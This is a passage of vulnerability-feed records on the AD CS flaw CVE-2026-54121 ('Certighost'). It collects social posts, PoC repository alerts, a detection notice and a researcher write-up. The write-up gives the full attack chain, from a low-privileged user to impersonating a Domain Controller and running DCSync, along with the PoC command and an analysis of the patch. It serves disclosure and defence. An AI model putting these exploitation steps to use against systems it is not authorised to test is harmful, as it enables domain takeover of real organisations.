\u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54121 (Certighost) AD CS DC-impersonation PoC. Patched SAN handling + MAQ-safe account reuse.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-27T13:00:05.758302Z"}, {"uuid": "3523691f-b1c9-4c51-a3ec-129f91e96974", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/payloadforge.io/post/3mrmxe3h6vu2d", "content": "CertiGhost (CVE-2026-54121) went public on 24 July from H0j3n and Aniq F. I planned a few minutes running their PoC in my Ludus lab and lost the weekend. The bug gets AD CS to trust identity data from a host the requester picks.\n\ngist.github.com/H0j3n/a5ef2...", "creation_timestamp": "2026-07-27T13:02:03.933100Z"}, {"uuid": "209b76bf-651f-4b81-bf07-5a6a680f04d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mrmymbejfc2x", "content": "PoC exploit released for critical AD CS domain-takeover flaw (CVE-2026-54121)\n\nwww.helpnetsecurity.com/2026/07/27/c...\n\n#Cybersecurity #Cyber #SituationalAwareness", "creation_timestamp": "2026-07-27T13:24:34.504736Z"}, {"uuid": "017f80f0-b50f-4a28-870c-1faa729dc775", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/r-purpleteamsec.bsky.social/post/3mrnqw4cadn24", "content": "Detection Opportunities for Certighost (CVE-2026-54121)", "creation_timestamp": "2026-07-27T20:39:31.905287Z"}, {"uuid": "2e10ef1d-e8dd-4472-b0c1-36eeda8bc3c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "Telegram/jZonNK9LGM_SvoC2Djs86LRDYxmpyv3NgFItsHIOxESbAXI", "content": "", "creation_timestamp": "2026-07-27T21:00:03.905987Z"}, {"uuid": "9022029a-bb38-4c09-975c-3a9bf713ab1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54540", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrntm3fpuy2i", "content": "CVE-2026-54540 - Authenticated terminal command whitelist bypass in Pheditor\nCVE ID : CVE-2026-54540\n \n Published : July 27, 2026, 6:16 p.m. | 2\u00a0hours, 21\u00a0minutes ago\n \n Description : Pheditor is a single-file editor and file manager written in PHP. Prior to version 2.0.5, the...", "creation_timestamp": "2026-07-27T21:27:36.771643Z"}, {"uuid": "17bfac6e-17a2-49ed-95cd-2ae73f29ece2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/blazetrends.bsky.social/post/3mrnuh3cdvx2k", "content": "The new Certighost PoC exploit gives standard network users the power to hijack entire Windows domains. IT admins need to patch CVE-2026-54121 immediately. #CyberSecurity #Microsoft ", "creation_timestamp": "2026-07-27T21:42:49.197516Z"}, {"uuid": "754709b3-c646-4cfb-844c-eda394ffcd2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mrnuyei7342j", "content": "CVE-2026-54121: Certighost PoC Exploit Signals Grave Risk for Windows Domains #CyberSecurity #WindowsDomains #CVE2026", "creation_timestamp": "2026-07-27T21:52:23.047341Z"}, {"uuid": "c4bb28e9-30b6-4709-a6d3-7f5101c4526a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mrnuyg57mq2v", "content": "CVE-2026-54121: Certighost PoC Exploit Enables Windows Domain Hijacking #CyberSecurity #WindowsDomain #CVE2026", "creation_timestamp": "2026-07-27T21:52:24.519695Z"}, {"uuid": "65b3a3cc-07fd-4772-8be5-c71da13cffbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mrnuyhuley2p", "content": "CVE-2026-54121: Certighost PoC Exploit Exposes Windows Domain Vulnerabilities #CVE2026 #CyberSecurity #WindowsVulnerabilities", "creation_timestamp": "2026-07-27T21:52:27.067512Z"}, {"uuid": "b0852796-5136-4c3b-a8d8-be436157928b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mrnuyk3oyb2m", "content": "CVE-2026-54121: Certighost Exploit Underscores Active Directory Risks #CyberSecurity #ActiveDirectory #InformationSecurity", "creation_timestamp": "2026-07-27T21:52:29.144444Z"}, {"uuid": "ce68d14c-16e7-47f3-ae58-3228d31ab8c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mrnv4iahxv2j", "content": "CVE-2026-54121: Is the Certighost Exploit a Domain Security Wake-Up Call? #CyberSecurity #CVE2026 #DomainSecurity", "creation_timestamp": "2026-07-27T21:54:41.046614Z"}, {"uuid": "9df9a607-bd0b-408f-b700-2b5dedb179eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mrnvgq3gr42j", "content": "Certighost PoC (CVE-2026-54121) shows how an authenticated attacker could abuse AD CS to impersonate a domain controller and compromise a Windows domain. Microsoft patched it in July 2026. #Certighost #ActiveDirectory #WindowsDomains", "creation_timestamp": "2026-07-27T22:00:24.623487Z"}, {"uuid": "debb4963-7cd7-44fb-a68a-89a5cba628d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "Telegram/jZonNK9LGM_SvoC2Djs86LRDYxmpyv3NgFItsHIOxESbAXI", "content": "", "creation_timestamp": "2026-07-28T00:00:10.022490Z"}, {"uuid": "740c093f-c0f6-43dd-9937-b4a3c6ac9b88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/threatintel.microsoft.com/post/3mro6wgtei224", "content": "Microsoft Defender detects malicious certificate requests associated with this vulnerability and generates the alert:\n- \u201cPotential Certighost (CVE-2026-54121) AD CS abuse\u201d\n- \"Active Directory Certificate Services attack tool activity\"", "creation_timestamp": "2026-07-28T00:50:14.551667Z"}, {"uuid": "1f07b230-1bcd-4154-93f6-ee51a45dd7ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95359", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54121-CertiGhost\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a marcgoam\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-27 11:48:41\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54121 (Certighost) AD CS DC-impersonation PoC. Patched SAN handling + MAQ-safe account reuse.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-28T00:00:36.701582Z"}, {"uuid": "cc0a1ce9-5e09-4b9a-a12e-79b22cf779a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/GithubRedTeam/95458", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54121\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ChPratik\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-28 03:20:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nImproper authorization in Active Directory Certificate Services (AD CS) allows an authorized attacker to elevate privileges over a network.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-28T05:00:03.924222Z"}, {"uuid": "d65b05bc-9165-4ef0-840c-9c41124ac440", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "Telegram/rEoAW_BRJJDgx3HUGXYCrbn1mRYrjAni9y98I3Isgm8SRC8", "content": "", "creation_timestamp": "2026-07-28T00:00:50.361913Z"}, {"uuid": "af25ccb2-7121-4d08-a205-a13adb233fee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mroasjmhks23", "content": "AD CS\u306e\u91cd\u5927\u306a\u30c9\u30e1\u30a4\u30f3\u4e57\u3063\u53d6\u308a\u8106\u5f31\u6027\uff08CVE-2026-54121\uff09\u306b\u5bfe\u3059\u308b\u6982\u5ff5\u5b9f\u8a3c\uff08PoC\uff09\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u516c\u958b\u3055\u308c\u307e\u3057\u305f \n\nPoC exploit released for critical AD CS domain-takeover flaw (CVE-2026-54121)  #HelpNetSecurity (Jul 27)\n\nwww.helpnetsecurity.com/2026/07/27/c...", "creation_timestamp": "2026-07-28T01:23:52.075382Z"}, {"uuid": "3727c3e9-3737-4b2a-973f-d362e36be992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mrotjwuhqr2p", "content": "Around the Certighost (CVE-2026-54121) disscussions i thought i have to mention that you can stop a lot of bad things with AC CS if you:\n\nChange the default configuration:\ndefault -> ... automatically issue\u2026\n\n\ud83d\udd01 RT @S3cAtW0rk | reposted by @cyb3rops\nhttps://x.com/S3cAtW0rk/status/2081273115229745318", "creation_timestamp": "2026-07-28T06:59:04.947846Z"}, {"uuid": "a70a05aa-21cd-4e89-83f0-d2e6219f1a22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mroqfaiwhk2a", "content": "PoC exploit released for critical AD CS domain-takeover flaw (CVE-2026-54121)\n\nSecurity researchers who discovered and reported CVE-2026-54121 (aka \u201cCertighost\u201d), a critical privilege elevation vulnerability in Active Directory Certificate Services (AD CS), have release\u2026\n#hackernews #microsoft #news", "creation_timestamp": "2026-07-28T06:02:45.653975Z"}, {"uuid": "ba5917f5-3070-4c2e-a95c-13b444b809da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/pixelsandpulse.bsky.social/post/3mrouoy7x362e", "content": "The Certighost PoC is out, and it's a game-changer for Windows domain security. Even if you've patched AD CS, attackers can still hijack your network. Understand the mechanism behind CVE-2026-54121 to truly defend your domain.\n\nhttps://www.tpp.blog/83zegsi\n\n#cybersecurity #certighost #cve202654121", "creation_timestamp": "2026-07-28T07:19:47.889020Z"}, {"uuid": "6b6fcd8e-2f04-4979-92ac-be6b50984115", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mrouzrwwxs2t", "content": "Certighost CVE-2026-54121: Low-Privilege Users Impersonate a DC via AD CS dev.to/anoymask/cer...", "creation_timestamp": "2026-07-28T07:25:51.514063Z"}, {"uuid": "f070dc46-4b4e-487e-a7cd-4f01af1cb7f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/morpheusc/e926a500ef11ef8388d1cbee1ff607c3", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  